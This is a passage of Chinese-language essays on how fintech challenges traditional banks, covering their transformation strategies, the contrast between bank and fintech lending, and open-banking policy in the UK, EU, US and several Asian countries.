        近年来,随着互联网普及率的快速提升,互联网信息技术与金融的融合步伐不断加快,作为一种新的金融模式,金融科技凭借成本低、效率高、覆盖广、发展快等优势,逐渐成为未来金融业发展的主要趋势。同时,金融科技的发展也对传统金融行业造成了巨大的冲击—面对挑战,是坚守传统金融阵地还是积极谋求转型?
        一些金融科技领域的专家认为,传统金融机构管理层次过多,流程过于复杂,尾大不掉,难以适应金融科技行业快速、灵活的发展节奏。此外,过于昂贵的技术更新费用更是阻碍了传统金融业的互联网化转型。也有一些专家认为,加强与金融科技机构的合作将是传统金融机构实现转型的关键。通过交流合作,传统金融机构能够弥补技术方面的短板,同时了解互联网的用户思维模式,实现互联网化转型。此外还有极少数专家坚信,金融科技的强势冲击能够激发出蕴藏在传统金融机构中的“创新基因”,通过内部培养、内部研发等方式,传统金融机构能够依靠自身完成金融业务模式的创新与发展。
        《经济学人》的高级编辑Matthew Bishop在接受Crowdfund Insider的采访时,曾针对当今传统金融行业发展所面临的挑战发表了自己的看法。他认为,在世界范围内,只有极少数的传统金融机构能够成功实现互联网化转型。
        近年来,大数据、机器学习、区块链等新兴科技的发展给传统金融行业带来了巨大的发展空间。同时,一大批相关领域的初创公司也应运而生,金融市场的竞争变得愈加激烈。在这个过程中,掌握先进技术的金融科技公司将对传统金融机构的龙头地位发起强烈的冲击。
        传统金融机构逐渐意识到其所面临的挑战,并积极谋求转型。传统金融行业所拥有的包括产品种类齐全、风控体系成熟、监管政策完善在内的众多优势能够确保其在短期内仍处于行业主导地位。但是,由于此前长期受到社会资本以及国家政策方面的支持,传统金融机构在面对市场竞争时的应对能力明显不足,此外,业务模式的僵化也导致了其创新能力的低下。因此,传统金融机构的互联网化转型是一个极其艰难的过程—只有提高自身科技创新能力,掌握先进技术,彻底完成从产品思维到用户思维模式的转变,才能真正实现互联网化转型。
        以传统银行为例,在行业下行周期和新金融业态蓬勃发展的双重影响之下,转型是实现可持续增长的明智选择。但转型的方向是什么,终点又在哪里?方向不明,转型就失败了一半。
        就目前来看,大型银行的转型方向大致是“线上互联网化+线下网点智能化+走出去+综合经营+交易银行+科技驱动”,几乎每一点都对应一至几个部门;对于中型银行而言,则去掉“走出去”;对于小型银行而言,则再去掉“综合经营”。
        大体上看,除了规模的不同,转型方向仍然是趋同的,可见,即便每家银行都能转型成功,结果依旧是同质化的。
        问题来了,引致同质化的转型方向真的对吗?
        没错,一直以来,银行的经营都没有摆脱同质化,但大家都能和平共处。不过,步入移动互联网和科技驱动的新时期后,基于同质化的和平共处恐怕不行了,根本原因在于线上App代替线下物理网点成为战斗一线。
        战斗力再强悍的网点都存在天然的物理边界,而再小的App在互联网上都是无界的,竞争从有界到无界,同质化便没有存在的空间了。
        所以,如果转型的结果带来的是同质化,那么转型的方向便是错的。什么才是正确的方向?基于自身禀赋,每家都各不同,这才是理想的状态。但实际上金融产品品种有限,要充分做到差异化并不容易,尤其是数千家机构的差异化,则几乎不可能。
        既然未来的市场容不下同质化,数千家机构又不可避免地陷入同质化,这也意味着未来的市场容不下数千家机构。并购重组恐怕会成为未来行业发展的必经阶段。
        对于业内大多数中小型银行而言,若找不到差异化方向,可能或迟或早都会成为被并购的对象;而对于大中型的银行巨头而言,唯有转型一条路可走。
        但是,为转型找到方向谈何容易。2016年9月,美国《连线》杂志曾发表文章评价科技巨头的转型之难,其中重要的一点便是方向问题:“戴尔、EMC、惠普和英特尔近些年学到的教训就是,硬件公司变成软件公司并非易事。但事实上,软件领域的公司也犯了类似的错误—谷歌和微软学到的教训就是软件公司变成硬件公司也并非易事。近几年,谷歌收购了手机厂商摩托罗拉移动,但没过多久就将它转手给了联想。微软则在减记收购回来的诺基亚手机资产。”
        未来已来,只是尚未流行。大中型银行转型的方向在哪里?肯定是上述“线上互联网化+线下网点智能化+走出去+综合经营+交易银行+科技驱动”中的一种,具体是哪一种或哪几种的组合,各家银行各有不同。
        当然,有一点可以肯定,如果把上述所有方向都当作转型的目标,大而全,不聚焦,则等同没有目标,也是不可能成功的。
        从目标到落地:执行层面的障碍
        即便选择了正确的方向,执行层面也会面临落地的难题。对银行而言,在转型的同时还要稳增长,在决策层,二者同等重要,不能偏废;在执行层,转型很重要,但增长更重要。究其原因,决策层关注中长期可持续发展,关注发展潜力;而执行层更关注短期绩效,关注考核指标的完成度。
        那么转型能否纳入考核指标体系呢?可以,但权重不能太高。一方面,在短期内,现有业务和旧模式才是增长的源泉,在竞争激烈的市场环境下,对于现有业务,一刻也不能放松。另一方面,赋予新模式过高的考核权重,往往欲速不达,容易诱发花样繁多的指标造假,反而打击了踏实发展新业务的分支机构的积极性。
        举个简单的例子,若考核指标为直销银行渠道的理财余额,并赋予其很高的指标权重,必然有很多机构动员客户把本应柜台渠道销售的理财产品更换至直销银行渠道,左手倒右手而已。当然,针对考核指标体系,指标制定机构与具体执行机构的博弈则复杂得多。
        更根本的一点在于,任何一种转型都不仅是一种经营战略的重新选择,更是一种利益关系的重新调整,涉及资源和权力的重新配置,也会要求文化的重塑,自然会遭遇阻力。
        就以银行的互联网化转型为例,前几年一度非常热闹的直销银行部先后沉寂,现在不得不探索设立直销银行独立法人机构。
        此外,优秀人才的流出也是一个隐患。近年来媒体多关注银行高管的出走,其实银行基层组织的人才流失同样令人瞩目。在行业下行期,收入、职业空间与压力的不均衡,加上金融科技机构对线下渠道和三四线城市的布局,很多银行基层员工纷纷选择逃离,人才的流失反过来加剧了执行层面的落地难。

        “共生”生态

        文/夏心愉
        作为一个金融记者,最近两三年,脑子常是分裂的。因为经常一边采访传统金融机构(姑且称他们为“阵营A”),一边采访互金公司、FinTech、消费金融公司(称他们为“阵营B”)—两个阵营跟我说的话经常在我的脑子里打架。
        当讨论零售端给谁放贷时—
        在阵营A,我听到的多数评价逻辑是在申请人里“挑出‘好人’(合格贷款人),给他钱”。除了看抵质押担保,查对方流水、看还款来源也是关键。而在阵营B,听到的多数评价逻辑是在申请人里“挑出‘坏人’,不给他钱”。
        抵质押担保在阵营B的话语体系里大概等同于甲骨文,甚至连还款来源都是其次,因为对于数额不大的消费贷,大部分人具备还款能力。基于大数法则,“反欺诈”成为阵营B的风控话语体系。大多数互金平台上70%及以上的借贷损失的根源是诈骗:借款人有钱也不还给你。所以“反欺诈”要做的就是把这些“坏人”拦住。
        找“好人”,阵营A在行;找“坏人”,阵营B在行。
        当不良贷款率(简称不良率)上升时—
        在阵营A,几批业务做下来发现不良率上升了,他们通常会叫停产品。不良率数据是有隐性红线的,不能超过了红线。而且在阵营A,不良率会直接牵动你的拨备,你要开始计算风险资本占用,阵营A要做的计算题都在这里。
        在阵营B,面对不良率上升,他们通常还是会说出四个字—“大数法则”。这不是关于不良率一个数据的静态问题,而是息费带来的利润能容忍多高不良率的动态平衡问题。
        如果不良率动态偏高,阵营B首先想到的也不是叫停,而是调整风控参数模型,再运行一遍数据看看。
        当要寻找自己的客户时—
        在阵营A,他们会思考自己有哪些产品,甚至有的机构还在盘算自己网点的多少,然后给自己最得意的产品贴张海报(虽然海报进化成了电子栏)。但在阵营B,说到获客问题,被提及的往往是“流量”“入口”“场景”等新金融符号。
        当面对资金成本时—在阵营A,即便是受到了阵营B中大户的搅局,出现了“储蓄搬家”,监管赋予它的吸收公众存款的职能及其所带来的资金端优势,依然是阵营B所不可匹敌的,当然这也是以A视风控大格局为生命线、各项风险及资本指标都有监管看守为绝对前提的。当下,阵营A中多数公司面对的问题不是钱不够,而是好资产少、风控难、息差波动大。在阵营B,我却经常听到“某个模式跑通了,风控模型成立、可以上量了,但没资金”这样的故事。
        至此,AB阵营各自的长短板也就不言自明了。设想一下,如果这些长板共生到一起,会形成怎样的新金融?
        最初,AB阵营是分裂的。那个时候,两个阵营之间关系的主框架是竞争—一个谁颠覆谁的叙事框架。不过终究,分裂会变成合作。
        大部分的A墨守成规,零售的道路越走越窄,于是他们不得不探出身来看看B;而大部分的B在大浪淘沙里,今天飞云端、明天砸地板地翻腾,监管开始趋严、牌照收紧,原本一些意欲大规模扩张的或是贴着边线前行的套利空间被封堵。
        于是,A开始把流量、数据、场景这些关键词放在嘴上,一轮一轮的“三期叠加”阵痛后,A知道该去拥抱B了。而B甚至开始了“去金融化”的过程,一轮一轮洗牌后,以科技和数据之力开始建立以技术输出、企业服务为主的商业模式—这成为不少金融科技公司的终极定位。
        从颠覆到合作再到共生,短短几年间,新的金融格局碰撞交汇快得超乎想象。
        当五大行相继牵手腾讯、蚂蚁、百度、京东、苏宁,大家意识到,再不跟上时代的变化,就该等着被“降维打击”了。
        清华大学国家金融研究院院长朱民在谈到相关话题时有如下一段表述:以前金融机构产品的设计、生产、分管、配置、销售完全是在一个机构内部产生和进行的,不管这个机构规模大小,生产的流程是内生的。金融技术的出现打破了这个内生的环节,逼迫着把这个内生的环节外生化、社会化、商品化、产业链化。所以,金融技术把这个产业拉长、拉细,使得金融科技企业能够通过专业化和细分市场并入供给链。这个链条产生了一系列变化,具体包括成本的商品化、利润的共享化、风险的共担化、合作的伙伴化。
        阵营A有无可比拟的资金优势、品牌优势、合规性和整体上的风险把控;阵营B有基于数据的风控、基于线上流量或场景的获客,且对于A曾经无暇问津的长尾,成熟的B已经有了一套打法。
        传统金融机构和新兴金融业态之间的鸿沟正在收窄,行业出现专业化的“分工”或许会成为必然趋势。

        开放银行

        文/蔡凯龙
        西方金融业称2018年将是Open Banking—开放银行服务年,并频频对Open Banking展开热烈讨论—那么,Open Banking
        从何而来,根源、意义和影响在哪里?
        西方金融业静悄悄地发起了这场足以颠覆传统银行模式的革命:金融数据共享,一举把全球金融科技竞争带入下半场。
        银行业者惊呼这是银行互联网化后金融业最大的变革;金融科技者激动地称之为继虚拟货币、人工智能之后,金融科技的下一个热点。而以措辞严谨著称的《经济学人》杂志对此毫不吝啬用词,直接描述它为银行业的“地震”。
        金融变革来袭,各国如何应对?
        英国政府的竞争和市场管理局(Competition and Markets Authority,CMA)于2016年开始主导Open Banking计划,经过近两年准备,2018年开始在英国各大型银行逐步实现。
        2016年欧盟通过PSD2(Payment Service Directive 2,支付服务规划2)法令,规定自2018年1月13日起,欧洲银行必须把支付服务和相关客户数据开放给第三方服务商。目前该计划的准备已经到收官阶段。
        在美国,因著名的《多德-弗兰克法案》而成立的消费者金融保护局(Consumer Financial Protection Bureau,CFPB)于2016年11月就金融数据共享广泛征求社会意见。在经过一年的研究后,2017年10月18日CFPB发布金融数据共享的9条指导意见。
        澳大利亚于2017年8月发布《Review into Open Banking in Australia(Issue Paper)》长远规划。新加坡、日本和韩国等金融强国也都相继推出各自雄心勃勃的金融数据共享战略。
        虽然各国对金融数据共享的称谓五花八门、实现的途径不一,但是都有一个核心的理念:通过金融数据共享,推动传统银行和金融科技公司更深层次地协作和竞争,最终追求用户利益最大化。
        建立在金融数据共享基础上的宏伟蓝图已经初具轮廓:未来银行的基本业务可以像乐高积木一样模块化,金融服务可以按需求“拼凑”业务模块,增加服务的弹性和多样化。而银行将成为高度开放共享的金融服务平台。金融科技公司和银行的关系由竞争转为合作,共同构成共生共存的金融生态圈,就像手机App和手机操作系统一样。
        西方国家为什么全力推动金融数据共享,目前它们进展如何?金融数据共享对金融业各方有何影响,有什么成功的案例和挑战?最重要的是,这些振奋人心的金融变革对中国有什么影响和冲击,未来我们如何构建有中国特色的金融数据共享体系?
        数据割裂是全社会的损失
        马云先生说:“人类正从IT(Information Technology)时代走向DT(Data Technology)时代。”在DT时代,数据成为最有价值的资产。数据的价值在于关联,但是在现实中,数据大部分是割裂和分散的,金融行业尤为突出。
        譬如,你在工商银行有存款,在平安银行贷款买房子,在中信证券公司交易股票,同时还有招商银行的信用卡。个体是金融交易数据的生产者和所有人,而这4家金融机构是数据的保管者。但不同的金融机构造成同一个个体的数据是割裂的。由于数据对机构来说具有重要的商业价值,他们并不会轻易主动对外开放。
        金融数据的不开放使各方损失巨大。
        对个人来说,最直接的损失是无法轻易对比服务和费用,从而无法选择价廉物美的金融产品。更大的损失在于,个体无法得到全方位金融数据,因此限制了有效资产配置和规划。由于缺少完整全面的数据支持,大数据分析和人工智能投资理财等先进的技术成为摆设。
        对金融科技公司来说,尽管也可以通过很多方式获得非金融数据,但是这些数据的含金量比不上银行个人金融交易数据的含金量。倘若无法打破银行数据壁垒,金融科技公司将始终处于劣势,其发展必然受到制约。
        对银行来说,数据不公开只是对自身业务的一种暂时性保护。这种数据封闭的代价是银行将失去利用共享数据和金融科技公司的创新技术的机会,从而很难为客户提供更加多元的产品和服务。在客户对金融服务要求越来越高、科技界巨头跨界竞争越来越激烈、社会和监管对开放数据的呼声越来越强烈的大潮下,闭关自守的银行将失去构筑平台生态圈的机会,路将越走越窄。
        对监管来说,金融数据不公开造成了数据孤岛,大大减少了数据的价值,降低了整个社会金融运行的效率并提高了社会成本,同时也助长了因为封闭带来的金融垄断,不利于初创金融企业特别是金融科技公司的发展。
        总体说来,金融业的数据共享远远落后于其他行业。
        放眼全球,我们不难发现这是一个共享经济和平台经济崛起的时代:阿里巴巴是世界上最大的零售企业,却没有自己的库存;Airbnb是最大的酒店住宿运营公司,却没有一间自建的客房。还有当时市值最大的苹果公司,其真正的价值在于提供的数字产品平台。这些明星企业无一不是DT时代的领导者,他们通过数据开放共享在平台上打造出生机勃勃的生态圈。
        然而至今没有一个开放的金融共享平台出现。
        欧洲和美国模式
        在全球竞争中,中国的金融科技公司依靠庞大市场和模式创新走在世界前沿。为了给本国的金融科技公司注入新的活力,西方监管走出了两条截然不同的推动金融数据共享之路:欧洲政府主导模式和美国市场主导模式。
        英国的竞争和市场管理局(CMA)在2016年8月9日发布的一份银行业调查报告中称:客户对银行有很强的黏性和惰性,虽然客户每次更换银行平均能给个人和企业客户分别节省92和80英镑,但是英国每年平均只有3%的个人和4%的企业客户更换银行。调查显示,现有的大银行不想为了客户的利益充分竞争;新的小银行和金融科技公司发展艰难。而民众却需为此买单:支付更高的费用却没有享受到更好的金融服务。
        为了让民众受惠于金融科技的创新,也为了让新的小金融服务公司能与大银行公平竞争,CMA主导并推动金融数据共享方案,其核心在于Open Banking,即开放的银行服务计划。CMA认为,Open Banking的关键在于让个人与小企业及其他第三方服务商与银行安全地共享数据。这种共享数据的好处直接体现在:个人可以通过简单的统一界面管理所有金融账户,从而更加便捷地根据个人需求选择合适的金融产品,也更加有效地管理资产。CMA规划了一系列改革路线图,要求英国各大银行在2018年逐一落实。
        欧盟也有类似英国的战略规划,不过他们先以最基础的支付业作为突破口。根据自2018年1月13日起开始正式实施的PSD2规定,欧洲银行的支付服务和相关客户数据对客户授权的第三方开放,目的是增强欧盟支付行业的竞争力和创新力。
        澳大利亚、新加坡、日本和韩国都加入了英国和欧盟的阵营,采用的都是政府主导、自上而下推动金融数据共享的模式。
        而美国走出了一条截然相反、自下而上的市场主导模式之路,其原因主要有以下3点。
        首先,美国的法律为金融数据共享奠定了基础。2008年金融风暴后的产物之一《多德-弗兰克法案》是自20世纪30年代以来美国出台的一项最全面的金融监管改革法案。其法律条文第1033条明确规定,用户或者用户授权的机构有权获取该用户在金融机构的金融交易数据。虽然该法案没有具体规定如何共享用户数据,但是明确表示新成立的消费者金融保护局有保护用户共享数据的权力。这些规定为美国金融数据共享铺平了道路。
        其次,美国的金融市场竞争激烈,金融机构开放程度高。与欧洲金融业由几家大银行占据绝大部分市场相比,美国金融市场的参与者众多,除了几家知名大银行外,还有大大小小9000多家金融机构。在竞争如此激烈的金融环境中,美国的金融机构都把发展金融科技作为重点。一些有实力的银行主动开发数据接口,转型成为平台型金融服务公司,积极参与并推动金融科技的发展。从整体上看,美国金融机构相对开放包容,更加愿意主动与金融科技公司合作,也更加愿意开放金融数据。
        最后,美国金融科技公司整体实力较强。硅谷和纽约孕育出众多充满生命力的金融科技公司,其中一类就是个人财务综合管理服务公司。最典型的代表为Mint公司,它是一家成立10年之久的老牌个人财务管理公司,根据2016年数据,Mint拥有两千多万名用户(每10个美国人中就有1个人有Mint账户)。用户只要授权就可以通过Mint网站实时管理几乎全美个人所有的金融账户:储蓄、房贷、车贷、信用卡、学生贷、退休金和股票等账户。该公司已经同美国99%的金融机构签订数据合作共享协议。通过一站式数据归集,Mint还能提供消费分析、财务规划和账单支付等增值服务,给用户提供极大的便利。除Mint公司之外,Prosper Daily、Yodlee和Penn等多家个人财务综合管理公司也自发地实现了金融数据共享的商业模型。
        美国的法律体系、金融市场环境及金融科技公司发展的程度决定了美国主要靠企业之间自下而上自发地参与数据共享。但是缺乏统一监管和规范,也给行业带来了不小的阻力。为了解决这个问题,消费者金融保护局在2017年10月18日提出金融数据共享九条指导意见,全面阐释监管的态度,期望借此引导和促进美国金融数据共享的快速发展。
        英国CMA的Open Banking专项报告主席Alasdair Smith在报告发布当天说:“我们今天发布的改革将对未来几年银行业产生深远的影响。”
        他有理由这么认为。银行的互联网化只是触及互联网精神的皮毛,金融数据共享和开放才是互联网精神的精髓。共享金融数据的新模式将会给金融服务业带来新一轮的巨变,这些巨变正在渗透行业的方方面面。
        有些银行将在巨变中被淘汰。失去客户和数据的垄断优势,银行利润将会受到很大影响。然而,积极拥抱新模式的银行将会转型为金融服务基础平台。成为平台的银行不仅仅直接向客户提供服务,而且可以通过平台上的金融科技公司向客户提供间接服务。通过数据共享,平台型银行的产品更加丰富,数据的价值将得到提升,因此不仅能留住老客户,还能吸引新客户。凭借金融服务平台的品牌、影响力和金融牌照优势,转型后银行的主要收入来源变得更加多元,除了传统的金融服务收费外,平台服务也有可能成为利润增长点。
        以花旗银行为榜样的数家国际大银行,以及以美国中部堪萨斯州CBW为代表的几家社区银行,是银行转型的成功典范。
        对于金融科技公司来说,好处显而易见。金融科技公司通过数据共享,借助银行提供的金融平台服务,不需要金融牌照就可以开展金融服务,同时还能获得大量用户数据,有助于技术优化和用户体验的提升。
        各国金融数据共享计划实施结果已经在金融科技公司初显成效。英国推动Open Banking后,掀起金融科技公司的新一轮蓬勃发展浪潮。欧盟的PSD2给欧洲支付也带来百花齐放的格局。而美国的个人理财综合网站,将会在新的数据共享指导意见下更加欣欣向荣。
        当然,受益最大的还是用户—金融产品越来越丰富和多样,成本越来越低。各种金融产品和服务之间的比较一目了然,也更加容易统一管理,不会再有众多账号、记不住的密码和五花八门的密匙等烦恼。智能资产管理门户将成为个人金融活动的唯一入口,人工智能和大数据等技术找到了施展的天地。支付、借贷、记账和理财等金融服务与场景无缝连接,融为一体。享用金融服务像使用水和电一样便捷。
        就像马云先生在解释IT和DT区别时所说:“IT时代是以自我控制、自我管理为主,而DT时代,它是以服务大众、激发生产力为主的技术。”金融数据共享符合DT时代用户对金融服务的期望,必将成为不可阻挡的趋势。
        中国模式?
        对目前中国金融业来说,共享金融数据并打造开放金融平台的理念过于超前。中国的银行业还在快速追赶西方发达国家的进程中,盲目、不切实际地生搬硬套西方经验不适合中国金融业的发展。
        金融数据共享在国外还属于发展初期,目前对中国银行业几乎没有直接影响。但是这并不意味着我们可以高枕无忧而漠不关心。在经济全球化、金融国际化的大环境下,随着中国进一步融入全球金融体系,国外金融行业的巨变必然会间接影响到中国。
        如果未来中国的银行要追上并赶超国外,走向世界金融舞台中心,那么现在西方的金融数据共享变革就是一个绝佳的学习机会。外国银行积极拥抱数据共享的意识、金融科技公司灵活多样的合作方式、数据共享上的技术突破以及国外监管经验,都值得我们借鉴和学习。
        对中国金融科技巨头来说,这是机遇也是挑战。
        蚂蚁金服、腾讯财付通、陆金所、百度金融和京东金融等中国金融科技公司巨头们已经走上国际化道路。国外的金融数据共享变革为这些公司开拓海外市场提供了绝佳的机会。譬如支付宝和微信支付将因欧盟PSD2的实施而从中受益,借此他们可以更加容易地进入欧盟各国的支付市场。
        而挑战的一方面来自于国外的科技巨头。由于金融数据的共享和开放,绑在国外科技巨头上的最后一道枷锁已经打开。可以预见,Google、Apple、Facebook和Amazon(即“GAFA”四大巨头)将跨界金融行业,形成对国内“BATJ”强有力的挑战。
        中国金融科技业面临的另一方面挑战来自于中国银行业。国外的金融科技公司体量不大,它们是金融数据共享主要的受益方。然而中国的金融科技巨头本身的规模不可小视,并且拥有巨量的客户数据。中国银行业在开放金融数据共享的同时,必然要求中国金融科技公司相应开放自身数据。如何平衡双方利益是不小的挑战。
        基于中国特有的国情和金融环境,在金融数据共享的大潮下,中国走的道路必将有别于欧洲和美国的模式。
        金融数据共享势必引发全球金融巨变。变革的浪潮将席卷银行、金融科技公司和个人。监管也必须相应调整和改变。正因为共享的是最核心的金融数据,牵扯到各方利益,因此金融数据共享面临诸多挑战和困难。
        金融数据共享面对的“四座大山”
        挑战一:银行的抵制。
        银行的利益首当其冲。对银行来说,金融数据共享等于把自己最宝贵的资产拱手相让。在金融科技公司不断蚕食银行业务的大环境下,开放金融数据的直接后果是客户的流失和利润的减少,甚至会面临生存问题。
        2016年普华永道咨询公司的一个调查报告指出,在Open Banking的大潮下,以居民为服务对象的银行和支付最有可能受到影响。银行业估算将损失24%的业务。
        面对可能产生的严峻后果,很多银行抵制金融数据共享。在美国消费者金融保护局收到的社会意见中,银行和银行协会的代表各自提出了担忧和疑虑:金融科技公司享受大多数据共享的好处,银行为何需要承担与之相关的费用;有些银行规模小,预算有限,而且IT系统老旧,根本无力承担数据共享的负担;一些银行认为数据共享等于主动交出市场和客户控制权,本身对银行来说极其不公平;目前没有统一法规,加上基于用户隐私安全考虑,很多银行认为不应该贸然推进金融数据共享变革。
        如何通过设置合理有效的机制,平衡银行的利益,打消其顾虑并调动其积极性,是金融数据共享通往成功路上的最大障碍。
        挑战二:用户数据的安全和隐私保护。
        如果说医疗数据代表的是个体的生理特征,那么金融数据则体现的是用户的金融属性。因此金融数据共享和医疗数据共享一样,面临安全和隐私保护问题。
        银行一直是客户信赖的数据保管者,因为银行耗费巨大的财力和人力保障数据与隐私安全,同时面临诸多法律规范。在金融数据共享推进中,监管机构、银行和个人最大的疑虑是:金融科技公司如何保障共享数据的安全和用户隐私?
        共享数据的隐私和安全挑战来源于3个方面。首先,基本的安全性,即如何保证在共享过程中数据不会被盗用和篡改,隐私不会被侵犯。其次,使用范围和透明性,即如何保证共享数据只能在客户授权范围和时间内使用;如何用直接明了的方式让用户了解什么数据被共享、谁在使用以及有何风险;用户如何收回共享授权,如何保证收回共享授权后数据真的被共享方永久删除。最后,明确职责,即保证客户在共享数据的安全和隐私受损后,应该找谁负责,如何补救,以及如果补救处理不当如何申述等。
        保障数据的安全和隐私在任何行业都是一项艰巨的任务,而金融业的数据直接涉及个人财产,所以这项任务就变得更加重要而且充满挑战。金融数据共享涉及多个企业之间的利益和职权划分,成为参与各方面临的最大难题。
        挑战三:公平原则的维护。
        共享金融数据的目的在于打破不公平的数据壁垒,可是在打破旧的不公平后,如果处理不当,有可能会引发新的不公平。
        譬如在推进金融数据共享中,金融科技公司是受益方,而数据接口的技术开发由银行来承担—如何创造机制来打破这种责任和利益不匹配的不公平?又譬如在金融数据共享所倡导的银行转型成为平台生态圈后,必然造成强者恒强、大者越大的格局。大银行更加容易垄断并挤压中小银行的生存空间,如何在效率和公平上找到合适的平衡?再譬如金融科技公司在使用共享金融数据给客户提供金融服务的时候,是否也与银行一样受到同样的法律法规监管?如果要在金融数据共享的监管上区别对待银行和金融科技公司,如何把握尺度以杜绝法规的不公平造成的监管套利?
        挑战四:模式的选择。
        金融数据共享的最终目标是最大化消费者的权益,但是“条条大路通罗马”,推动金融数据共享有多种途径。如前文所述,英国和欧盟根据自身情况选择自上而下的模式,由政府主导制定政策,银行配合。而美国选择自下而上的模式,由银行和金融科技公司均衡博弈,以市场机制推动为主、监管为辅。
        两种方式各有优劣。自上而下的方式就目前看来实现成果效率高,但是公平性欠缺,同时很容易扼杀商业和技术的创造性,甚至会给一些实力欠缺的银行和机构造成巨大的负担,导致发展不可持续的后果。自下而上的方式提倡市场主导,可以激发创新,达到市场各方利益均衡,可是缺乏有效的金融数据共享标准,效率不高;同时离开政府的大力推动,银行开展金融数据共享的积极性不高,因此进展缓慢,也不易保持公平性。
        银行的抵制、数据安全和隐私的保护、公平原则的维护以及实现模式的选择—这些重任如同四座大山压在监管者的肩上。在银行不愿主动变革、金融科技公司和个人势单力薄的境况下,监管者无疑是金融数据共享发展最大的推力。
        监管者不仅要平衡各方的利益,维护用户数据的安全和隐私,力求公平公正,还要根据实际情况选择最佳的实现方式。同时监管者还要确保数据共享的标准,统一共享的规范;需要协调监管内部各个部门之间的政策,如果必要,还需要协助立法机关对法律法规进行适度调整。这些都非常考验监管者的智慧。
        金融科技监管决定金融数据共享模式
        由于每个国家的经济发展水平不同,金融环境成熟度差异大,各国对未来金融的发展都有不同的战略布局,因此对金融科技也采用了相应的监管模式。金融数据共享作为未来银行变革的趋势之一,对其监管方式的选择,不可避免地受到各国金融战略布局尤其是各国金融科技监管模式的影响。
        各国的经验只能参考,无法照搬,最合适的模式只能由自己探索。但是了解各国监管的现状和背后形成原因,有助于我国发展适合中国国情的金融数据共享监管体系。
        全球金融科技有3种不同的监管模式。
        第一类,主动型监管(Active Regulation)。适合以英国为代表的国家驱动型金融科技发展。
        这类国家包括英国、欧盟国家、新加坡、澳大利亚、日本和韩国。它们都有较为发达的金融业,都在打造全球或者地区的金融中心。区别于美国和中国,这些国家既没有技术也没有市场的优势。为了发展金融科技,监管挺身而出成为金融科技主要的引导和推动力量。其中以英国最具代表性。英国致力于把伦敦打造成世界金融中心,因此在监管金融科技上也是推陈出新,不遗余力。“监管沙箱”(Regulatory Sandbox,又译为“监管沙盒”)便是英国推出的创新金融监管的一部分。由于“监管沙箱”松绑了现有金融法规对金融科技发展的束缚,促进金融创新的效果明显,因此很多国家纷纷效仿。
        第二类,限制性监管(Restricted Regulation)。适合以美国为代表的技术驱动型金融科技的发展。
        优秀的人才体制和成熟的资本环境,加上硅谷特有的技术创造力,美国形成了以技术创新为主的金融科技业态。而美国对本国金融科技采用“按部就班”的功能性监管,即无论金融科技以何种形态出现,都会抓住其金融本质,把所涉及的金融业务按照其功能纳入现有金融监管体系。金融科技公司和金融公司的监管一视同仁,美国这种限制性监管是相对比较严格的。
        正因为如此,加上美国银行巨头积极在金融科技上的布局,以“GAFA”为代表的美国众多科技界巨头都未大规模涉入金融领域。美国的金融市场虽然不小,但金融机构服务完善且普及,留给金融科技公司发展的空间并不大。优秀的金融科技公司发展到一定阶段,都会碰到市场体量、金融牌照和数据等方面的瓶颈。这导致美国优秀的金融科技公司众多,却没有出现大型的金融科技“巨无霸”。美国各界也在反思,是否相对严格的监管阻碍了金融科技的创新和成长。因此,监管趋势在逐步调整和松绑,推动金融数据共享就是其中一项举措。
        第三类,被动式监管(Passive Regulation)。适合以中国为代表的市场驱动型金融科技的发展。
        与美国相反,中国的金融科技以市场和商业模式为驱动。中国的巨大市场需求和有待完善的现有金融服务体系,给中国金融科技的发展提供了广阔的空间。在短短几年内,中国金融科技茁壮成长,已成为全球金融科技的领头羊,在第三方支付、网络借贷等方面遥遥领先其他国家,并孕育出蚂蚁金服、陆金所、京东金融这样的金融科技“巨无霸”公司。目前中国对金融科技的监管正在逐步调整,以解决前期快速发展所带来的一些问题和风险。但是总体上,监管环境仍属于相对宽松。
        这三类金融科技的监管模式,对应了各国对金融数据共享的三种不同态度。
        首先,主动型监管的国家是全球推动金融数据共享的主力。
        英国和欧盟无疑是最积极的推动者。两大标志性政府举措—英国的竞争和市场管理局(CMA)的Open Banking改革方案及欧盟的PSD2,规划出未来Open Banking发展的雄伟蓝图。
        英国监管当局意识到,虽然给予政策上的松绑,本国金融科技公司的规模还是相对较小。一是因为本国市场不够大,二是传统银行在数据上占据优势并形成壁垒。英国政府率先推行Open Banking战略,决定让数据松绑。英国的财政部早在2015年就成立Open Banking工作小组,联合多家大型金融机构、研究学者和消费者代表,制定并推出Open Banking标准。CMA在2016年发布Open Banking规划,成立专门委员会,制定未来详细的工作计划,将最早于2018年实现阶段性成果。英国通过引领全球的Open Banking,进一步强化伦敦的全球金融创新中心地位。
        欧盟国家尤其是德国一直很重视本国银行数据的共享。2010年德国推出“Open Banking Project”。该计划7年来积累银行开放数据的宝贵经验,也通过开源软件提供众多优秀的银行API(API的全称为Application Programming Interface,即应用程序编程接口,指的是一个应用程序的预先定义的函数,目的是使外部调用该应用程序时,既无须访问源码也不用理解内部工作机制的细节,直接按照接口参数调用即可)。欧盟作为一个整体,在2016年1月推出PSD2,规定自2018年1月13日起,所有在欧盟的支付数据都必须对第三方服务商开放。同时配套的欧盟统一数据保护法案(General Data Protection Regulation,GDPR)也将在2018年5月生效,替换20多年前的过时的数据保护法案,为Open Banking推进提供完善的法规体系。
        在英国和欧盟的带动下,许多国家纷纷加入。最积极的非澳大利亚莫属,紧随其后的是新加坡、日本和韩国。
        澳大利亚政府在2017年8月发布专项报告《Review into Open Banking in Australia》,详细阐述澳大利亚如何选择最佳的Open Banking模式,在法规上如何调整,以及如何制定相应的路线图和时间表。作为跟随者,澳大利亚政府强调Open Banking作为开拓性前沿政策所面临的诸多挑战,因此密切关注其他国家特别是英国和欧盟在这方面的进展。
        新加坡的金融管理局(MAS)专门成立金融数据API注册中心,推动各金融机构积极加入数据共享。该中心已经有6大类,134个API接口。花旗银行、新加坡华侨银行(OCBC)和渣打银行是该中心3家主要的数据共享银行。
        日本国会在2017年5月26日通过了内阁提出的日本银行法案修正案(又称“金融科技法案”)。该法案重点在于促进日本金融科技发展,其中有专门条款用来鼓励金融公司和金融科技公司通过公开API共享数据,让用户能够通过规范的API共享数据渠道,全面地管理跨机构账户信息。
        韩国在2016年8月成立了由韩国金融电信清算机构(韩国官方清算组织)和Koscom公司(韩国大型金融IT公司)共同管理的公开API数据平台。该平台有16家银行和25家证券公司加入,同时对包括金融科技公司在内的第三方机构开放,共同推动金融数据共享。
        其次,美国暗潮涌动,蓄势待发。
